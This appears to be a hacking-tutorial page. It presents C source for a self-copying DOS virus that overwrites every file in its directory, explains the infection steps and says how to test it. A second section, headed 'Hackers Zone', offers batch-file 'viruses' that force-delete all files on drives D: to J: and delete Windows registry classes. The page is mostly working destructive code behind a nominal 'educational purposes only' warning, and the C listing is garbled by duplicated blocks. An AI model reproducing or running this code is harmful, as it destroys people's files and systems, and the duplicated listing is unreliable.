This program is an example of how to create a computer virus in C
language. This program demonstrates a simple virus program which when executed
creates a copy of itself in all the other files that are present in the same
directory.
Thus, it destroys other files by infecting them. The infected file
will also become a virus so that when executed, it is capable of spreading the
infection to another file and so on.
Here’s the source code of the virus program:
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0); //Search for a file with any extension (*.*)
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
This virus is designed
to infect all types of files with any extension.
How it Works?
The algorithm of this virus program is as follows:
Step-1: Search for files in the current directory. If
one or more file is present, load the first file (target file).
Step-2: Load the copy of the virus itself onto the
memory.
Step-3: Open the target file. Copy the virus code
from the memory and place it in the target file. Close the target file when the
copying process is completed.
Step-4: Load the next file to infect and move to the step-3. If all
the files are infected, close all the open files, unload them from the memory
and exit.
As far as the technical terms are concerned, I would not be able
to explain the program line by line. Anyone with a working knowledge of C
should be easily able to understand the functions and other terms used in the
program.
How to Compile the
Program:
How to Test the Virus
After the Compilation:
1.
Create a new empty folder.
2.
Put some executable files (or any other files) in the folder.
3.
Run the PC_Virus.exe file. With in a few seconds all the other
files in the folder gets infected.
4.
Now every infected file is a new virus which is ready to
re-infect. You can copy any of the infected .exe file to another empty folder
and repeat the same procedure to see if the infected file is capable of
re-infecting. Delete the folder and all the infected files after the testing
process is done.
NOTE: The files infected by
this virus are destroyed completely and cannot be recovered. So, always test
the virus in a new folder by placing some sample files.
WARNING: FOR EDUCATIONAL
PURPOSES ONLY. DO NOT SPREAD OR MISUSE THIS VIRUS CODE.
Make a Very Dangerous Virus with Notepad
(Final) By Hackers Zone
USE THIS TRICK FOR ETHICAL USE ONLY
Just open your notepad
1) Click start -> all programs -> accessories ->
notepad
2) Or just press or click windows key + r :: run window will
open and
type notepad and hit enter .
NOW
TYPE THE FOLLOWING CODE ::
@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q
then save it as kinng.bat and the batch file is created .
WARNING :: This is the most dangerous virus
Delete
the entire registry
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
now save it as kinng.bat and the batch file is created .
Now
here is most dangerous
virus that can blast or corrupt your computer after using this you will not
able to use your computer this will be the last time you will be using it
thank u .
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